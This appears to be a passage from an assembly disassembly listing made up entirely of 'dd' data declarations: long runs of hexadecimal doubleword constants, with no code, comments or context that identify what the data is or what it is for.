		dd 0C56C4900h, 7400AFFBh, 0CE1C6881h, 79A95A79h, 46D56138h
		dd 0D28B243Ah, 2102609h, 0ED744282h, 91A87BE0h,	0ABA30089h
		dd 0B3B5CC4Eh, 23516C81h, 15EA93F6h, 0C20D53BBh, 15EE8164h
		dd 432CFEBAh, 9D4CB61Ch, 0B9A1F6Eh, 0BD33ABFFh,	1FF73B7Ch
		dd 0C70FF6A9h, 8475ED35h, 0AB220991h, 604969A1h, 5E185E9Dh
		dd 0E158813h, 1FDB6DD4h, 0A68BFCA9h, 0A3204B01h, 96653359h
		dd 6F12CA2Bh, 283ABC5Fh, 0FDEFE9FBh, 1918A12Dh,	95ADDF4Fh
		dd 43AABEC7h, 8DCC977Bh, 7143EB8Dh, 1CBAA917h, 0ADC022CAh
		dd 3FB430A7h, 0FF2953F2h, 0AE214DBAh, 0A85C1A2Ah, 0D9CC17B0h
		dd 8BE5AF51h, 0F1199864h, 924109E6h, 14C38F8Fh,	868F4D40h
		dd 78D8C7ADh, 0F1A6F730h, 0E387DB83h, 46BE586Bh, 8F9A6AE2h
		dd 6E80468Eh, 770E3FB6h, 0BD9EB35Ah, 91432109h,	9B58D664h
		dd 914FE7C5h, 8C2B112Bh, 7643CF26h, 4D0C9DA4h, 343415CEh
		dd 0D4C6CC49h, 0F37B7181h, 0F78356B7h, 3C41A245h, 92136694h
		dd 211E51ABh, 2F61ABF3h, 7E9DE76h, 19A3EB88h, 767B5494h
		dd 754D775h, 0A3B4EC71h, 0BF13C5ECh, 0EF632265h, 3FDBFC7Ah
		dd 82FBAA28h, 0A45055E0h, 0EBF079D2h, 26E69D44h, 6E669C9Ch
		dd 0ED758EC7h, 182E2DEh, 1FC2DC8Eh, 0B5B8DC6Ah,	0E0D85864h
		dd 0A4F523ADh, 4EBCD299h, 2C46B98Eh, 203C81CCh,	4496A80Ah
		dd 0E2E2042Ah, 0EDA71A5h, 3069C9E2h, 0B7F3B508h, 0E778726h
		dd 0C30D08CBh, 297AE868h, 155A8391h, 19D87300h,	9FF247E0h
		dd 7E003BCFh, 7838D381h, 0BBA3D0D3h, 0C6573F9Ch, 91C801A0h
		dd 9012E974h, 0B78E7C98h, 506FB48h, 0F0A7D56Dh,	0D0B8DBBDh
		dd 906E0BA7h, 0E343D958h, 26AB446Dh, 7EC0EA9Ch,	0A61DB20Fh
		dd 0E53A2550h, 0E4366EC6h, 0F8A1985Eh, 2CBF837Ah, 0D6113ACh
		dd 1946ADFh, 0D9C2A815h, 0D43AA81Bh, 152F237h, 1A1E9B79h
		dd 0AD0417C3h, 0DCE52B1Ch, 10C94440h, 6F3B2F17h, 41DE0F16h
		dd 0A504D103h, 41E4F96Bh, 0AF43ADD8h, 0B7CE84ADh, 0FACCE61h
		dd 8ED4E9C7h, 0AE2DFFAAh, 0A6ED4FAh, 5D6F7925h,	0D0261A8Bh
		dd 51443F74h, 4BC93D29h, 89D468AEh, 3B659499h, 0D1A7C789h
		dd 0BF7A3FDFh, 903ED2Eh, 0DFBD91CBh, 7EEC756Bh,	278C439Eh
		dd 0BED7785h, 95C3B408h, 1BB248ADh, 8B9E61B5h, 9BB52928h
		dd 813B8356h, 1F57F957h, 88F1293Ch, 0AECB15D4h,	2C6F32E0h
		dd 0A3FEB647h, 0AB435432h
		dd 0B4464C0h, 463D0E34h, 0DEB74065h, 0F17EED1Ah, 0CEDEB6AAh
		dd 2FB2ABBAh, 45737441h, 5DBA65F0h, 9FE4A23Eh, 6543B36Fh
		dd 0C9A2DB6h, 4E9C9C48h, 476A6259h, 0DD9DAE14h,	5474FB03h
		dd 1595279Fh, 309614D8h, 2C8DD1F6h, 3AB43030h, 0E5A6FE9Ah
		dd 86DB1943h, 0A3CBFD62h, 3EE49527h, 0BFCD11CFh, 32141B23h
		dd 0BFA68143h, 0B645596Ah, 6CF14C4Ch, 500FE837h, 77D2A123h
		dd 0DDF3530Dh, 0C0F29EFEh, 1A56FF29h, 6059D17Ah, 0EAED5FF3h
		dd 0B04E6FD0h, 0A3A0A9D3h, 6ABB62D6h, 0D821626Eh, 21A2584Eh
		dd 0DCBA43B8h, 3948DEEFh, 25C00A95h, 0B3E5D0ECh, 6DCD39C5h
		dd 508FF01Dh, 0E83A7F92h, 9706501Bh, 0E96C9A30h, 7EAB7D34h
		dd 0B1224C8Ch, 45F13A0Ah, 7990D3A3h, 0EA3728BDh, 0CF1D6F20h
		dd 3A27554Dh, 2160FF05h, 4FF0E99Bh, 76370131h, 0ABCCADBBh
		dd 0D3394095h, 72A596F4h, 71F56E6Ch, 1A0B517Eh,	0CF03A4A5h
		dd 0C7B882A9h, 15F6ACFFh, 0E5A88D7Fh, 6429014h,	6DA1F16Bh
		dd 0A754779h, 230ACDA7h, 7D77B5B1h, 881A5E7Bh, 0C8739412h
		dd 47220AD8h, 0D4F4D8F8h, 0BC5E0BE4h, 5948BE61h, 0BA43A160h
		dd 1E56E78h, 0F92D080Ch, 4A36417Ch, 7286477Fh, 2E7B70Fh
		dd 845EBC7Dh, 0D92C10CEh, 12943C1Ch, 0A5B63F3Fh, 0E0E7E90Fh
		dd 0EFFA8C25h, 0FD736F4Eh, 89698946h, 65A94E83h, 1013E091h
		dd 673D0C9Ah, 5685E5D3h, 0C0A32797h, 0D7E1272Fh, 56185EA1h
		dd 0BBBB0793h, 2766310Fh, 0B683B5Bh, 84C4EF77h,	0F62D1452h
		dd 3C1B0A56h, 0FF66772h, 0D891B449h, 0C36A27D8h, 0D9C138D7h
		dd 44926227h, 1EDD094Bh, 0B7A29C37h, 29D9F66Ch,	9FE79D11h
		dd 7E4C846Ah, 769F8760h, 0B068F52Dh, 6870F979h,	0EB98001Eh
		dd 64D4219Ah, 1039CB94h, 16E45499h, 90C9D27Ch, 0B370F417h
		dd 67B91BC2h, 0A5347F4Fh, 29ACC399h, 0EDAC2A88h, 52323233h
		dd 0E1E5F565h, 6ED0C9B6h, 789D7A74h, 0F3B70C7Fh, 0C4782CD2h
		dd 0C054F856h, 16B2489Eh, 0F59394D7h, 7E647E30h, 90D85870h
		dd 751A4B41h, 3AE1F8BAh, 7A9C122Ah, 0A325AE4h, 204E2A12h
		dd 2A27FF74h, 91843EA1h, 0AD02AAC8h, 90CBE28Ch,	193A27A6h
		dd 0E344D629h, 458DF889h, 0F8FAC912h, 45520C59h, 4464892Dh
		dd 5CF04382h, 15D0534Dh, 0D05FB250h, 0B97C4A90h, 812CB768h
		dd 0E5E3C68Dh, 4876E76Ch, 0E7E862ECh, 3AD6B9CDh, 126D6C75h
		dd 77FB5C52h, 0B2757B56h, 0A80C3787h, 602256C2h, 0A6DBF9C3h
		dd 7625D9CEh, 632A26C8h, 82F0BD64h, 8FEBB876h, 0A1B3540Ch
		dd 78A312BEh, 5D1F7BDFh, 1A5A115Bh, 0CF0C1D19h,	0A2FBE6F7h
		dd 0FED95C02h, 0FEBA65ECh, 0C9C412F3h, 0BA4C3AEDh, 62E728BFh
		dd 0C42506B6h, 4B3E94EBh, 0A6B01AE4h, 3C195778h, 0E782D7DBh
		dd 357EDA23h, 2CF52F16h, 0AE85045Ch, 716FD325h,	0F5674F88h
		dd 0BCC73198h, 6EFCB778h, 7B8FD295h, 0ECFA4B82h, 41289E71h
		dd 0B1F9BF00h, 73E4DAA7h, 21CF5CDEh, 0E3BBC9D7h, 546372FAh
		dd 643C5E6Fh, 1AF17EE8h, 9A98FCB7h, 0E33E9F69h,	0F55E81C3h
		dd 0F2003E3Ah, 9CE0F04Bh, 0CF7B5F26h, 173D13D0h, 4F1EA901h
		dd 454CD5B6h, 0CA1FE213h, 5F3C3BD8h, 947AE2CFh,	0FB773CBBh
		dd 46E0D938h, 5AEDCB99h, 8727FCA6h, 0B1A58ACh, 0BC95A804h
		dd 0BCFD656h, 0D62400D8h, 0B0F72087h, 2BA97CC4h, 4ED0AF41h
		dd 88A4834Eh, 0AE644BFAh, 0D41A870Dh, 0E494DAD8h, 0CE937A65h
		dd 0FA364E29h, 419BD878h, 0F1EE6415h, 0EC0C4A4Ch, 0F5FC592Ah
		dd 1D09CB49h, 1833C060h, 22082F5Eh, 5C5D675Ah, 363A07C4h
		dd 7A58C270h, 28921993h, 0A02698F0h, 69EACC5Bh,	7644FC7Ah
		dd 867A408Ah, 9A266AE1h, 0C13F5F24h, 14092C23h,	5E70F814h
		dd 26E9C659h, 6664696Bh, 0CA96FD28h, 48F8917Fh,	0EDE6249Fh
		dd 8951D159h, 683EE98h,	0F75C7C02h, 0ACC7F53Eh,	0BBDF69A0h
		dd 64A4A6E8h, 9E639C8Eh, 8CE37C8h, 1E685E18h, 53560DBBh
		dd 16FB78C6h, 275B81CBh, 0A65C00B9h, 7D9D4966h,	37AA78C6h
		dd 3A454968h, 4191AE16h, 786D233h, 583AC9C3h, 3500C10Eh
		dd 4F028937h, 59FF517Fh, 0F0501093h, 0A16970FDh, 21A48D52h
		dd 0F93DC6B7h, 0B3C17FC4h, 1223853Bh, 20796CA2h, 3B6C3C76h
		dd 3A0ABDFh, 10C1B359h,	0B9421380h, 680FB9F3h, 8F4277C1h
		dd 0FA42895Eh, 0D6B80CA2h, 0A8038089h, 5DC55F1Fh, 6487FD03h
		dd 49BE0BEh, 317ECDD0h,	2970C704h, 0E2AF940Bh, 0C1056F9h
		dd 0C68CF842h, 2C90C608h, 0C88ECF99h, 55BC0FC8h, 0BFCECD29h
		dd 77956EB6h, 4EED5B06h, 0B926008Fh, 619A3DA1h,	79CEC640h
		dd 774FEBB8h, 0FDDBDF7h, 5F2AF593h, 0A3136EBEh,	0DB8CCD4Bh
		dd 67CB9463h, 8F1C9B53h, 79C47471h, 0CAA98079h,	9A913A12h
		dd 1865D432h, 0F7D2FC4h, 0D394405Dh, 0B1D01DAAh, 617DA73Dh
		dd 0CCF414B5h, 2D8F7163h, 67583D7Bh, 1CC20E5h, 0C3F0CE78h
		dd 0C4D11D58h, 619C62B5h, 0AE31F505h, 72C04E41h, 3AF43675h
		dd 0E8464F2Bh, 3048054Bh, 7E3A7256h, 6F16A9FDh,	0FE6B9068h
		dd 627ECBA9h, 9FD0A068h, 372D07CEh, 52D17A6Dh, 8F1ED3AAh
		dd 0E03E6523h, 5ECAA663h, 0FD220D7h, 0A3913C0Bh, 4ADA1A35h
		dd 6ED30CB1h, 0A131BFh,	5E574627h, 0F5194C71h, 1C067810h
		dd 0B212035Ch, 8A53719Ch, 0C1DDC26h, 0E73C4163h, 401F4818h
		dd 91B79621h, 23C06EF9h, 6B68DD11h, 23FC19D5h, 0BAE1D63Ch
		dd 5F6255C7h, 2FB165EAh, 0F342C3E3h, 128AA25Bh,	7EB96AEFh
		dd 89387A78h, 7C427266h, 0F4ECCE7Eh, 0E6DA67BAh, 0B5475807h
		dd 0F508740h, 6DE45F6Eh, 0FF8E47E8h, 4B5D095Fh,	0EF1EBC73h
		dd 3B9F65FBh, 51304068h, 0EB3B636Fh, 0DB3CF4BFh, 0C4AFDC1h
		dd 4A8D634Bh, 5469FD36h, 73942D93h, 0B0381C33h,	9FB4689Dh
		dd 3D3097A2h, 1F50158Bh, 5DB50D20h, 8EE60FD5h, 3CDC85BFh
		dd 105EB3F6h, 97A880B6h, 11527BDDh, 93E14891h, 2436FF7Ah
		dd 0FE8C2009h, 0D57EEC77h, 598FB3F6h, 0C0DF1F58h, 0C8384F6Fh
		dd 0AEB33AFh, 0B6069DFCh, 0FCF38CC0h, 0BC213ED6h, 9E427C6Ch
		dd 0C33979A7h, 0FC4F1CFBh, 1CED279Dh, 12FB3FEBh, 2B772686h
		dd 0FE0AE959h, 0F3B21A2Ah, 0CBA3F49Eh, 152B373Bh, 654C91ABh
		dd 0FE6D721Bh, 1D2A5966h, 0DFA4D1ECh, 694AB5EBh, 5E179076h
		dd 0C071CE1Eh, 60EBEBF0h, 8E0C8660h, 962B9572h,	8005AE0Eh
		dd 0E26E9173h, 859D2AC1h, 0DB635ABBh, 532AFC6h,	38757EFDh
		dd 0A9CF47FCh, 4DE8D6D3h, 81FB08C6h, 0A004B75Bh, 806D03CCh
		dd 3ED586Dh, 0DFF70C84h, 0E252FEFCh, 2C74934Fh,	75C9FF08h
		dd 99DBECB3h, 0D2C57F64h, 0B2DB40A4h, 3AAB5B8Ah, 1C89A013h
		dd 4E59B1F4h, 80BA7B52h, 43487D5Ah, 908645DFh, 5B033C91h
		dd 0AE2C329Ah, 0AA541030h, 886DC829h, 16FDAB39h, 0A29F6235h
		dd 12EA179Bh, 0FF32DD42h, 7BD70D9Fh, 8C336264h,	31FC5E28h
		dd 4D31CAF7h, 0CC46DFE6h, 0B7649A60h, 59EF56Ah,	684D2C7Dh
		dd 13D5DA64h, 5D4CF502h, 9D5C89DAh, 0D5D4EA8Eh,	8B78D6B6h
		dd 10D2A82Ah, 1EC7C31Eh, 85CD93D7h, 3069B458h, 52BFEAE6h
		dd 0D92D4E86h, 3B9AB54Dh, 0CF5661FDh, 0B1655D9Ch, 0FB1D4BD1h
		dd 27EC7673h, 0E269486Ah, 0D3D6850Eh, 4CCD87DCh, 0E58A58AEh
		dd 8062FEB3h, 0F74D4E5Ah, 282DE9DDh, 6064B73Ch,	0EF6450A5h
		dd 2FDC2233h, 30EE1481h, 60620B43h, 46184C9Dh, 8915E2E6h
		dd 993D8857h, 0E092C714h, 82E9196Ah, 658585FEh,	0CC4B02C5h
		dd 2D9D75D7h, 0AEDC8AD6h
		dd 149A8795h, 0F6021144h, 86561BFDh, 48DB6F41h,	7BBDD9F4h
		dd 4E6162FEh, 0A08E329Eh, 3DF6D14Ch, 0EC86E34Ch, 0AB122527h
		dd 0CBE0CD0Ch, 42AF9D5Eh, 0AABD4864h, 0D0CE6022h, 94EE4280h
		dd 6D6AEB12h, 8D66B222h, 925729ACh, 0ADF29E4Dh,	10521F36h
		dd 0A2E85FE3h, 48601972h, 0CC1D7FB6h, 0E01913CEh, 1344A895h
		dd 0F1CCAA68h, 5728E468h, 0C80211A5h, 6D936E8Eh, 0CD8E146Eh
		dd 0FBAA16F7h, 774A3B74h, 1DF05D71h, 0FFED1C9Ah, 0A426178h
		dd 8369CCA6h, 4D51263Fh, 0A4497A3h, 0C2D459D1h,	3101477Dh
		dd 0EF3D5AD1h, 0A1201372h, 0F04EF97h, 8D767C1Bh, 0C53BE542h
		dd 632739A5h, 0BE62D58Dh, 36ED7349h, 8EE4705Dh,	39BD95AFh
		dd 0CBB3A782h, 3F8B3C42h, 0AA37C4D2h, 443479A8h, 8BE14CDDh
		dd 0A7D415A1h, 0AE83AC38h, 0CABF7142h, 91986382h, 63FF5F71h
		dd 466B0D23h, 569D17D4h, 0C29E26E5h, 1C5948D6h,	3350E29Bh
		dd 55BE4563h, 8F2FEDCCh, 71676ABCh, 82AA00AEh, 0E60B50BBh
		dd 0E573F36Bh, 49EB29F1h, 14DDD39Ch, 8D006CEDh,	0ABB53AFEh
		dd 2BAE990Ch, 73388C3Bh, 17F66D32h, 5CC36CEDh, 5D52FE9Fh
		dd 0B2C2F547h, 0F34A22B7h, 0E24EBFE8h, 1C3DEB3Fh, 0C6934949h
		dd 0BCCAF92Fh, 0FA6220B6h, 0DCFF5DBh, 55C4B7C2h, 76268541h
		dd 0AAA463EBh, 1C8D1257h, 2CD82E20h, 79244B6Ah,	46437B25h
		dd 345C2AA9h, 8CCF265Dh, 83C8E62Dh, 898EAD28h, 77489660h
		dd 97E6E549h, 4303B488h, 53AFE284h, 91E176B7h, 7168F368h
		dd 0FB5FE616h, 4191AD5Dh, 143DBCDh, 0C4203351h,	3C12585h
		dd 65834E42h, 0B3D46094h, 55004C66h, 0A7279B7Ch, 9DEB8FC3h
		dd 72A59C34h, 0E03F65CBh, 4485C2C3h, 5BA7087Ch,	7FDDD721h
		dd 0AB739034h, 2DAB5CB5h, 4640A63h, 8698B3E7h, 0E8156E2Dh
		dd 28A241CCh, 3BD8ECDBh, 0F3BD3003h, 0B2475532h, 0A5CA72FDh
		dd 0F856D62h, 0D06CB62Ah, 0CC413E37h, 2FCD3A79h, 0AD4706B3h
		dd 652138B6h, 833EFBA8h, 0B780EDC3h, 19309DAAh,	0FC0A0FEDh
		dd 0D20D18D1h, 0AD35F239h, 2297448Dh, 13D36056h, 0C4E63173h
		dd 0A767A1ACh, 0DC566240h, 9C6757A4h, 0FC526315h, 0CC6FCCB8h
		dd 7C1053B9h, 0C58165CFh, 0F271E2E8h, 254BB18Fh, 1C3DA7E8h
		dd 14AAEC3Dh, 0C5EA90ACh, 0FC2D01E7h, 0B431DAA5h, 8018429Eh
		dd 82901ED5h, 6E9B92D6h, 494862E2h, 0A36DFDFh, 6AB931DDh
		dd 85098F42h, 0AFF9F2F9h, 8817EB5Bh, 7D7BBC2Ch,	4968C52Fh
		dd 0B8E98457h, 1993A38Bh, 9B3879E8h, 0C0896B35h, 72445732h
		dd 98D97897h, 7354FADEh, 7B2B04A0h, 0CA25630Bh,	9E4AA8CBh
		dd 0B866B4F7h, 4E14287Fh, 0BEB2AC78h, 3EDC06Fh,	0BA9DC4F8h
		dd 0F86CC9BFh, 9B025791h, 7D9CEA5Ch, 0BC782AD5h, 7F2FE7DAh
		dd 11474C7Dh, 8F509998h, 72E22D12h, 6EE2229Eh, 0DA3EC108h
		dd 8483C455h, 4E7AF6A0h, 6B330C36h, 932D4DD7h, 0FE035B26h
		dd 0C4096C0Bh, 5BF3E2DBh, 0ECB1BC9Eh, 0E4C266B4h, 0EF55A184h
		dd 6A151F52h, 22A9EED5h, 58A62CC3h, 51524BCh, 0B8D8D9DFh
		dd 26FF1C16h, 199695F4h, 0F38B2D2Ch, 5A44CA4Eh,	7210962Fh
		dd 0A79B89DDh, 0B3A39436h, 0C9E035ADh, 8ACDDCDCh, 0BEC92196h
		dd 697358DCh, 0E36E1A0Bh, 3885B954h, 44ED0E32h,	62E22534h
		dd 4701766Dh, 0F2574660h, 0BECCC948h, 0DFCB5705h, 4D3D9528h
		dd 3FE8ED1Bh, 628018CCh, 0D2E0E5C6h, 0DBD419A0h, 0E0955C0Eh
		dd 0B7DCF718h, 42AAAEEDh, 19D99F72h, 0BA749FACh, 0FEF1D8C1h
		dd 0C8020DF9h, 0B322A734h, 0E76F0E66h, 0CF17E707h, 2E3C6CF6h
		dd 13B87213h, 0F08424FCh, 0C502B9CAh, 0F6A800AFh, 98A9BE3Bh
		dd 6D5D5184h, 0C63155F9h, 0E138FD36h, 9F7781B4h, 15CAB50Ah
		dd 6A3058ACh, 7D91411Ah, 9E1CDBF8h, 0EC637359h,	34094A60h
		dd 0BA7FE075h, 76F55A5Eh, 0E088130h, 8C83163Ch,	0BF85B043h
		dd 4FC1C3E0h, 1D71097Dh, 0F77A7CA7h, 9C73E76h, 0A8AC772Dh
		dd 6C3CB026h, 67DC8264h, 0C504288Dh, 0EE37C009h, 7CD8B65Ch
		dd 0BB22D60Ch, 833BE142h, 4805553h, 87BFE689h, 4582DA82h
		dd 16412777h, 264E301Eh, 335ECD32h, 11B6DC79h, 0E9836B27h
		dd 1265147Bh, 791DBE93h, 0B3176E86h, 0ED83F20Ch, 4FCAD2AEh
		dd 0AF885F56h, 1481B8AFh, 0B9F49FB8h, 0FAE8D07Ah, 4DCA0B98h
		dd 8F39D3BEh, 1EF76DB0h, 0F7CC6330h, 0C3E9962Ah, 62296145h
		dd 428161ADh, 2B68C696h, 0C81B1189h, 0B7E28DECh, 4ED9ECC6h
		dd 83A4D231h, 8F264731h, 6846F23Ch, 532F22D5h, 0C0D82210h
		dd 381F779Eh, 0B19B2903h, 26B16A1h, 332CEFA6h, 0CE8CFF28h
		dd 9FCBFF6Dh, 0EF24C4D8h, 962A3DACh, 35AED191h,	0BEABDF96h
		dd 0C93D9E71h, 8747C77Eh, 945EDC0Bh, 9495F6DBh,	71AB101Dh
		dd 974BB63Dh, 2B21E79Dh, 84FF3B45h, 48797402h, 5583110Ah
		dd 8F191EA2h, 64E27B93h, 5D28188Ah, 2780C529h, 708D4A30h
		dd 1D6070D2h, 36BEAD0Fh, 0FFC1E3F4h, 77F3F085h,	24BE21D0h
		dd 6B6C3C60h, 7B84B755h, 0A4F86AB0h, 0EF5EB47Dh, 0A13483E6h
		dd 0D920CB32h, 0D56506F9h, 174AD7E6h, 3259E492h, 0C2A63B17h
		dd 9CB610BFh, 7F07563Ch, 0E81389F8h, 684ED268h,	0FB2F9B2Dh
		dd 113E6AA3h, 0AFE7E02Bh, 0F5532F4h, 825E00A2h,	0D23F7431h
		dd 2EC14A91h, 6C3AAC6Ah, 0D92B2C0Dh, 0F786517Dh, 0B2EA4DE4h
		dd 0E50AE26Fh, 0E8F8794Dh, 0B5C831F5h, 65427268h, 0AA5833B5h
		dd 61A070D5h, 0BC8B7B07h, 55998AE3h, 0FE9E4301h, 12F3DB41h
		dd 0DE1DD81Fh, 4E33A101h, 99304F4Ah, 0C9E4E6E3h, 8FB00B09h
		dd 0DEC0B196h, 5198D45h, 0C0CA2DDEh, 0DF38BDA7h, 34AA4FFFh
		dd 0D007A490h, 56BAA9C4h, 41441922h, 27FCC7F3h,	986BC596h
		dd 9BDB28F2h, 0BBEEAE3Dh, 876C2CDBh, 5E8639B9h,	0F1994385h
		dd 6B227E4Bh, 4A043750h, 0FC8509C0h, 0E6C35825h, 0A3669BFCh
		dd 5249AC92h, 0CA7A7858h, 0E6769988h, 0F2A06C3Eh, 2422CA93h
		dd 1AF823DCh, 9099FBC0h, 0D395C8E7h, 9BAAB893h,	0B81D94E5h
		dd 108136FFh, 760DF0B9h, 792ABDA3h, 5765860Ch, 0FF3A7328h
		dd 60A3FA9Fh, 0B28A7576h, 93296E98h, 7F8375A0h,	89857A41h
		dd 463C637Eh, 62DD5ACAh, 6F1CC61Fh, 44EE5CBAh, 1F710A8Ah
		dd 0DD76582Bh, 5357C065h, 86EBE1A5h, 0A25409D6h, 251173E2h
		dd 7531B34h, 0D819CE78h, 0DA372B80h, 608E3DF0h,	3324C368h
		dd 0C75A7645h, 5471F7Dh, 20AD15A5h, 6833D654h, 0A6EBAA10h
		dd 330D212Fh, 608D695h,	2596AE39h, 0EF939FA6h, 9CBCD120h
		dd 0E2018049h, 0DB2E5EE3h, 69351F59h, 0BFFCE6FEh, 0F3CB9FB3h
		dd 433BBB7Ch, 0BC031D43h, 0BD743541h, 29EC5F01h, 3EEC72F5h
		dd 0E9FB65Eh, 903274ADh, 4EDD85DFh, 8CA23D42h, 7F6337FEh
		dd 1951A09Bh, 38F06200h, 2AF3881Ah, 1F6049B9h, 0A34182C5h
		dd 161CC012h, 5399BBDEh, 0D570814Bh, 80C3F919h,	8C22FD68h
		dd 0DE8087E5h, 595308B3h, 8ECD0B4h, 7348FE47h, 0A217FCBFh
		dd 3E47A597h, 0EA83663h, 6EB75B0Bh, 0FF4ACFA7h,	3D6435B6h
		dd 3337509Eh, 96E8965Fh, 8B92AC75h, 33895DD3h, 0C3CC335Eh
		dd 7ED22B11h, 0AE496497h, 0C6FBD893h, 401F05Ch,	54022154h
		dd 0D4BA725Fh, 36010C98h, 55DCD936h, 0F8330E5Ah, 11120A7Eh
		dd 0DD71AE0Bh, 71C75AD4h, 6DE99FF4h, 0AE85ADB4h, 829EB2F5h
		dd 9C87F7h, 0F9F1222Bh,	5A4EEB1Dh, 6E80D31Ch, 0BED70D91h
		dd 49459966h, 87A8550h,	3A80175Ah, 0AB368A87h, 0FB315449h
		dd 723D226Ah, 0B377802Dh
		dd 8DDD81A6h, 0EBB1F530h, 3B694A74h, 0B5C07F3Ch, 0A7B4D54Eh
		dd 1899068h, 8D38DF42h,	0AF9E937Dh, 657501A5h, 8BE60A08h
		dd 0A4645C47h, 0B614D21Ah, 0FFBBA168h, 89C86C7Ah, 41F1C4C4h
		dd 8D6CB764h, 0A169FA1Ah, 3D5D839Fh, 0B181ED7Fh, 4E7CCE73h
		dd 130076Dh, 4A73AED6h,	0C31A2A6Bh, 74DE238Ch, 269F1B2Eh
		dd 47EABDBFh, 84B3DF7Eh, 1962943Fh, 4869824Dh, 8C23C33Eh
		dd 58E76017h, 7AFB6C7Eh, 439DCE4Dh, 0BB3FEFF2h,	35E9FCB1h
		dd 0DB403386h, 0D7D50527h, 0C88F14BFh, 0AADF5A57h, 846525AFh
		dd 6528E8Dh, 4E60A5E4h,	631CCE45h, 0FE215414h, 1CE1F4F1h
		dd 75432C06h, 0C98098F1h, 2A56323Ch, 76BC9DC4h,	0EC0BF747h
		dd 0CDD00AE4h, 572864Ah, 3CD9F430h, 61238F1Eh, 0BA4AD292h
		dd 3C39441Fh, 0BDA0A263h, 10BB1669h, 3E20E4E9h,	0D04EC662h
		dd 0EBFD22B4h, 0A119171Ch, 0E85BFCDAh, 3BAB42FDh, 49E2523Bh
		dd 678C0B64h, 0C491F4h,	52025513h, 5B16370Eh, 0F969C4B7h
		dd 189E287Fh, 0F112AE80h, 6E60A82Fh, 0DE028AC6h, 34AE7E83h
		dd 0B66F7F1Ch, 0BF0EE5E4h, 182B095Eh, 5ECEB50Ah, 4253D2A2h
		dd 0EDCE737Eh, 0C7D04C90h, 0E803991Fh, 0B9BF7D2Bh, 94024682h
		dd 2339B06Ch, 0B20041ECh, 2743FCFFh, 1027319Eh,	3778DFB8h
		dd 0AC52C7B5h, 42225E32h, 0E2347B13h, 7D1C2F1Bh, 1307B04Ch
		dd 6C83409h, 0CF80E51Fh, 0ACC0BE4Ah, 3F717Ch, 25A35F7Bh
		dd 0FCB2E07Dh, 48E9C17h, 50CE1902h, 3C1DAD2Bh, 0E2DBABCBh
		dd 828FB9B2h, 61DBA504h, 0E200F84Eh, 0AD7A3C7h,	1B1B9665h
		dd 30400903h, 0C93EE7A0h, 442108A3h, 4DE68D51h,	0C5BB5068h
		dd 99A4E905h, 0FE27F270h, 15E1849h, 0DCBC4E6h, 8A422D5Fh
		dd 56436FACh, 0BE5D8B99h, 0FC3A3C61h, 0A211B853h, 83AF174Dh
		dd 0A6F00C2Bh, 958443C6h, 5F101465h, 1DBFC734h,	940C1214h
		dd 13400E23h, 0B3D92127h, 0CAAD2DF3h, 0E5F17B58h, 2C1142E1h
		dd 702560E1h, 29740727h, 0EFDAB149h, 27A50E3Bh,	4D579D91h
		dd 0D22DCA57h, 0D9925B81h, 1D84D037h, 0EC3BF771h, 8D5035E4h
		dd 6823A0C9h, 6E564726h, 304FAAEBh, 0B19113E0h,	33AF2FC2h
		dd 0D09D1D34h, 0EA1BAAFAh, 4101A20Ch, 35864B37h, 355407B6h
		dd 1285D685h, 0E801073Fh, 7D6AA83Eh, 95314056h,	26FD9A09h
		dd 0C1F2F29Ah, 97272BB8h, 3C6B70FAh, 7ED97423h,	386A7346h
		dd 0B5B2E86Ah, 17EB3198h, 99851437h, 0B6A42372h, 0F5C8FD76h
		dd 7307E696h, 73AAE062h, 5D11A812h, 71A15016h, 0B86AB251h
		dd 36076A56h, 91D9E505h, 0C5DEA154h, 16BE946Bh,	0E2648A6Eh
		dd 73F54DFDh, 20F69BF6h, 0E03A9430h, 0E00B9C9Ch, 1EE3FD40h
		dd 93374FCCh, 0D5D03E0Dh, 0AAD0EA6Ch, 9B26BB7Dh, 0ED8E944Bh
		dd 2180E0ADh, 14A0A9h, 407748Dh, 0D9E48464h, 320F2417h
		dd 0A725EBA2h, 2B2D8C27h, 0AC6831B5h, 6D2BF00Ch, 61B5B52Ah
		dd 5C9CDBBh, 0E697F06Eh, 19D7C2Bh, 6BA19FAh, 0DB0FB2EFh
		dd 76069CBBh, 0D665E7Eh, 31294993h, 8FF29243h, 0FD224C25h
		dd 8A8D025Eh, 317FC4F0h, 9E06B55Fh, 0C6CA3149h,	15E04567h
		dd 8597F1E5h, 0D492B9E2h, 28816B55h, 0B8AA029Ah, 777E5305h
		dd 254E873Ah, 78E5E12Dh, 51495CF3h, 0C5FECC97h,	0AA53C24Ah
		dd 0DFA8BE5h, 22059751h, 0C3D20DBEh, 5807A256h,	7DF828C3h
		dd 7EA0AF1Fh, 5AC0DD96h, 5AA879B2h, 0EB82066Fh,	0DD585832h
		dd 0D94BC03h, 0A9D84407h, 0D5B02373h, 80F7666Fh, 0EF64BEFEh
		dd 0D6985ACAh, 0B83F6D53h, 0BE870537h, 0BF24FADDh, 0AE3ABE32h
		dd 0AF805F5Eh, 8D80DFB6h, 6FEBDA22h, 0B7AF6EE2h, 3C702140h
		dd 0E170276Ah, 0E4ADD9A9h, 6658FA9Dh, 853E4A3Eh, 0C74363BEh
		dd 9A043F09h, 7F23E2C3h, 94651DCBh, 2A17CFE1h, 86B09447h
		dd 0A2B4E582h, 4FB2E97Ch, 83568406h, 42177745h,	0ACB32CB5h
		dd 5DC248B8h, 570B6A04h, 79E1AF46h, 0CA6258CAh,	0E272C0BDh
		dd 0B79EACB4h, 0DAA92331h, 9690EA77h, 6B37671Eh, 0C8AE65D7h
		dd 0C633C9AEh, 0D460A412h, 7D06B854h, 0ADE35812h, 99FB11D1h
		dd 3ED7FC57h, 747EBC22h, 88AC7DB3h, 44646BBCh, 3A7777A3h
		dd 8E22CB56h, 9A55F6Fh,	0A68B7BC6h, 0CE98C9D5h,	0DC9C6B55h
		dd 95BCE0B1h, 174979F9h, 46F0C885h, 48CA8F2Ah, 178B9A0Dh
		dd 1B084C58h, 0C7ADEF08h, 1FC5E2EDh, 18C4C40Ch,	6D79AFC2h
		dd 1A72CAEEh, 0D8DA87FFh, 0EF6A3BF4h, 0E8B9275Eh, 0AAA962E2h
		dd 195BBF32h, 71CBB201h, 6CC76EC4h, 0AEC272A0h,	8EACCF91h
		dd 0FDB4AB95h, 0E33A9C5Eh, 0D3144B0Fh, 0C450860Bh, 3299734Dh
		dd 0CC571120h, 4706CE50h, 3552A3C2h, 0F7B5C0D3h, 0AF780244h
		dd 2A14E5BAh, 61E04D62h, 2C4D6B49h, 0B77913E5h,	54F77E93h
